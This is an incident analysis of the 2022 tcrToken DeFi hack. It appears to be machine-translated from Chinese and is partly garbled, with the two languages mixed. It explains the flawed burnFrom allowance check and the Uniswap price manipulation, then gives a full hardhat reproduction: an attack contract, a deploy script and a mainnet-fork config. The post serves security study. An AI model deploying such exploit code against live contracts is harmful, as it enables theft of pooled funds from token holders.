current position:Home>A classic case of defi direct price manipulation - tcrToken hacking event analysis

A classic case of defi direct price manipulation - tcrToken hacking event analysis

2022-08-03 22:11:19Colt

1. 基本信息

tcrToken是TecraTokens issued by the company.TecraIt is a blockchain innovative start-up company,The company participates in differentiated business and scientific activities that impact the digital development of the world,Expect to work hard to solve the current global economy and economy through unique blockchain solutions21issues of particular relevance to the technological progress of the century.A description of the company's decentralized trading system,可以参考https://tecra.space/files/Tecra_Space_Light_Paper_CN.pdf

This hacking incident happened2022-02-04,黑客使用0.04个ETH(大约112个USDT)的成本,获得了63.9万个的USDT.Vulnerabilities appear in tcrToken合约burnFrom函数中,The main reason is that the pre-judgment condition of the destruction operation in the code is wrong,This allows attackers to bypass judgment,Any user can be logged outtcrToken代币.

Can destroy any user'stcrToken代币?Sounds like a tasteless loophole,How hackers got it63.9万的USDT的呢?

Hacker by destroyinguniswap Pair合约(USDT对tcrToken)中的tcrToken的数量,从而控制USDT与 tcrToken的兑换比例,继而通过uniswap exchanged for moreUSDT,这也是defiDirect price manipulationclassic method.

2. 漏洞分析

攻击交易: https://cn.etherscan.com/tx/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154

tcrToken合约地址:https://cn.etherscan.com/token/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1?a=0x6653d9bcbc28fc5a2f5fb5650af8f2b2e1695a15#code

1. Token Arbitrary Destruction Vulnerability

漏洞存在于tcrToken合约burnFrom函数中,The function is meant to be,将参数from地址的amount个tcrToken进行销毁.Used at function entryrequire来确保fromThe address is correctmsg.senderAuthorization for token operation was performed,但该require语句存在bug.The completed function code is as follows:

function burnFrom(address from, uint256 amount) external {        require(_allowances[msg.sender][from] >= amount, ERROR_ATL);        require(_balances[from] >= amount, ERROR_BTL);        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);        _burn(from, amount);    }

require语句中,判断from地址给msgsenderSufficient authorization to operate,应当使用_allowances[from][msg.sender]与amount进行比较,and used in the original code_allowances[msg.sender][from]进行了比较,而_allowances[msg.sender][from]是msg.sender可以控制的.

正常的require的写法应该是:

require(_allowances[from][msg.sender] >= amount, ERROR_ATL);  // This sentence in the original contract is wrong,导致了bug的出现....require(_balances[from] >= amount, ERROR_BTL);_approve( from, msg.sender, _allowances[msg.sender][from] - amount); // The original sentence was misspelled....

The wrong way of writing in the original contract is:

require(_allowances[msg.sender][from] >= amount, ERROR_ATL);

2. uniswapPrice manipulation attack

uniswapThe formula for calculating the price is as follows:

$$F(x)=(0.997x/(0.997x+Rx))*Ry$$

The tokens in the liquidity pool are assumed to beX和Y,其中

F(x)Indicates that the user can use x 数量的代币 X Tokens that can be exchanged Y 的数量.

RX:Tokens in the liquidity poolX的余额

RY:Tokens in the liquidity poolY的余额

在本案例中,Pair合约的地址为: https://etherscan.io/address/0x420725a69e79eeffb000f98ccd78a52369b6c5d4#code

我们做个类比,

  • token1为tcrToken(0xE38B72d6595FD3885d1D2F770aa23E94757F91a1),corresponds to the formula aboveX
  • token0为USDT(0xdac17f958d2ee523a2206206994597c13d831ec7),corresponds to the formula aboveY

那么,根据上面的公式,in the poolYthe balance remains unchanged,Just in the poolXbalances have decreased significantly(即Rx大幅减少),The denominator decreases,It will cause the calculation result to increase,That is, more can be exchangedY(USDT).

因此,攻击者通过2.1Arbitrary destruction vulnerability in ,into the liquidity pooltcrTokennumber were destroyed,make from faceRxnumber has been significantly reduced,So that more can be exchangedUSDT.

This price manipulation method is Direct price manipulation,Manipulate by executing unintended transactionsAMM中LP池中的toekn的价格.

3. 漏洞利用过程

The hacker's attack process is as follows:

  1. 使用0.04个weth在uniswapexchanged on101.145个tcrToken
  2. 调用tcrToken的burnFrom触发漏洞,将pair合约(USDT和tcrToken的pair合约)中销毁58万个tcrToken.这就会导致tcrTokenMore can be swapped outUSDT.
  3. 将第1步中的101.145个tcrToken在pairexchanged in the contract63万个USDT.
  4. 将63.9万个USDTGo to personal account.收工~~

如果使用blocksec分析的话,The following address configuration can be used

{    "0x0000000000000000000000000000000000000000": "Null Address: 0x000…000",    "0xe38b72d6595fd3885d1d2f770aa23e94757f91a1": "TCR",    "0x7a250d5630b4cf539739df2c5dacb4c659f2488d": "Uniswap V2: Router 2",    "0x420725a69e79eeffb000f98ccd78a52369b6c5d4": "Uniswap V2: USDT-TCR",    "0x0d4a11d5eeaac28ec3f61d100daf4d40471f1852": "Uniswap V2: USDT",    "0xdac17f958d2ee523a2206206994597c13d831ec7": "USDT",    "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2": "WETH",    "0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee": "Ether",    "0x6653d9bcbc28fc5a2f5fb5650af8f2b2e1695a15": "AttackContract",    "0xb19b7f59c08ea447f82b587c058ecbf5fde9c299": "AttackEOA"}

111111.png

4. 攻击复现

使用hardhatRepeat the attack process.

使用 npx hardhat run scripts/deploy.ts --network hardhat Repeat the attack process,The attack flow printed when the attack recurs日志如下:

111111111.png

1.Write an attack contractattack.sol

Mainly in the attack contractstartAttackThe attack process is completed in the function(The hacker's attack is in the contractfallbackThe attack done in the function,This point in the attack reproduction is not exactly the same as the original hacking process).

startAttackThe flow of the function is:

  1. 将Attackall in the contractWETH使用UniswapV2Router兑换成TcrToken.
  2. 调用tcrToken合约的burnFrom漏洞函数,将Uniswap的Pair中的tcrToken销毁,这将影响到USDT与tcrToken的兑换比例,完成销毁后,更少的tcrTokenMore can be exchangedUSDT.
  3. 将1中得到的tcrToken在Uniswap的Pair中兑换成USDT.
// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8;// Import this file to use console.logimport "hardhat/console.sol";import "@openzeppelin/contracts/token/ERC20/IERC20.sol";import "./interfaces/TetherToken.sol";import "./interfaces/Uniswap.sol";import "./interfaces/TcrToken.sol";contract Attack {    address payable public owner;    address USDTAddr = 0xdAC17F958D2ee523a2206206994597C13D831ec7;    address TCRAddr = 0xE38B72d6595FD3885d1D2F770aa23E94757F91a1;    address RouterAddr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;    address PairAddr = 0x420725A69E79EEffB000F98Ccd78a52369b6C5d4;    address WETHAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;    uint256 MAX_INT = 115792089237316195423570985008687907853269984665640564039457584007913129639935;    constructor() payable {        owner = payable(msg.sender);    }    modifier onlyOwner(){        require(msg.sender == owner, "onlyOnner is allow");        _;    }    function kill(address addr) public onlyOwner {        selfdestruct(payable(addr));    }    function startAttack() public onlyOwner{        TetherToken USDT = TetherToken(USDTAddr);        TcrToken TCR = TcrToken(TCRAddr);        // 进行授权        USDT.approve(RouterAddr, MAX_INT);        TCR.approve(RouterAddr, MAX_INT);        TCR.approve(PairAddr, MAX_INT);        UniswapV2Pair pair = UniswapV2Pair(PairAddr);        // 将Attackall in the contractETH兑换成tcrToken        uint256 wethAmount = address(this).balance;        UniswapV2Router router = UniswapV2Router(RouterAddr);        uint256 amountOutMin;        address[] memory path = new address[](3);        path[0] = WETHAddr;        path[1] = USDTAddr;        path[2] = TCRAddr;        uint256 deadline = block.timestamp + 24 hours;        router.swapExactETHForTokens{value: wethAmount}(amountOutMin, path, address(this), deadline);        console.log("1.swap eth to tcrToken. %s ETH swap to %s tcrToken.", wethAmount, TCR.balanceOf(address(this)));        // 计算Pair合约中tcrToken的余额,Used to evaluate how much can be destroyedtcrToken        uint256 pairTcrBalance =  TCR.balanceOf(PairAddr);        console.log("At begining, Pair Contract has %s tcrToken:", pairTcrBalance);        console.log("2. Call the Vulnerable burnFrom function.");        TCR.burnFrom(PairAddr, pairTcrBalance-100000000);        pair.sync();        console.log("3. Swap tcr for USDT.");        uint256 thisTcrBalance = TCR.balanceOf(address(this));        uint256 amountOut;        address[] memory path2 = new address[](2);        path2[0] = TCRAddr;        path2[1] = USDTAddr;        router.swapExactTokensForTokens(thisTcrBalance, amountOut, path2, address(this), deadline);        uint256 lastUsdt = USDT.balanceOf(address(this));        console.log("%s tcr swap to %s USDT", thisTcrBalance, lastUsdt);        console.log("4. Transfer %s USDT to hacker.", lastUsdt);        USDT.transfer(msg.sender, lastUsdt);    }}

2. 编写部署脚本deploy.ts

The script that deploys the contract implements two functions:

  1. 部署Attack合约,And transfer to the contract0.04个ETH.
  2. 调用Attack合约startAttack函数.
import { ethers } from "hardhat";import {TetherToken__factory} from "../typechain-types";async function main() {  let Alice, AttackDeployer;  [Alice, AttackDeployer] = await ethers.getSigners();  const initAmount = ethers.utils.parseEther("0.04");  const Attack = await ethers.getContractFactory("Attack", AttackDeployer);  const attack = await Attack.deploy({ value: initAmount });  await attack.deployed();  console.log("attack with 0.04 ETH deployed to:", attack.address);  const USDTAddr = "0xdAC17F958D2ee523a2206206994597C13D831ec7"  const USDT = TetherToken__factory.connect(USDTAddr, Alice)  console.log("AttackDeployer USDT balance:", await USDT.balanceOf(AttackDeployer.address));  await attack.startAttack();  console.log("AttackDeployer USDT balance:", await USDT.balanceOf(AttackDeployer.address));}// We recommend this pattern to be able to use async/await everywhere// and properly handle errors.main().catch((error) => {  console.error(error);  process.exitCode = 1;});

3. hardhat配置文件

一定要从14139081区块进行fork.

import { HardhatUserConfig } from "hardhat/config";import "@nomicfoundation/hardhat-toolbox";const config: HardhatUserConfig = {  solidity:{    compilers: [      {        version: "0.8.2",      },    ],  },  networks: {    hardhat: {      forking: {        url: "https://eth-mainnet.g.alchemy.com/v2/xxxxxxxx",        blockNumber: 14139081,      }    }  }};export default config;

5. 总结

  1. The root cause of the vulnerability is in the contract_allowances的使用错误._allowancesCondition judgment error,Can be destroyed arbitrarilytcrToken代币,Hackers by destroyinguniswap Pair合约中的代币,从而控制PairThe exchange rate of the contract,用少量的tcrTokenTokens are exchanged for large amountsUSDT,将PairThe pool of contracts is emptied,实现获利.
  2. The vulnerability of arbitrary destruction of tokens is not only harmful to others. Arbitrary destruction of tokens combined with direct price manipulation is classicdefi攻击案例.

6. 参考

https://dashboard.tenderly.co/tx/mainnet/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154/debugger?trace=0.4https://cn.etherscan.com/tx/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154https://tools.blocksec.com/tx/eth/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154https://tecra.space/

copyright notice
author[Colt],Please bring the original link to reprint, thank you.
https://en.netfreeman.com/2022/215/202208032205151220.html

Random recommended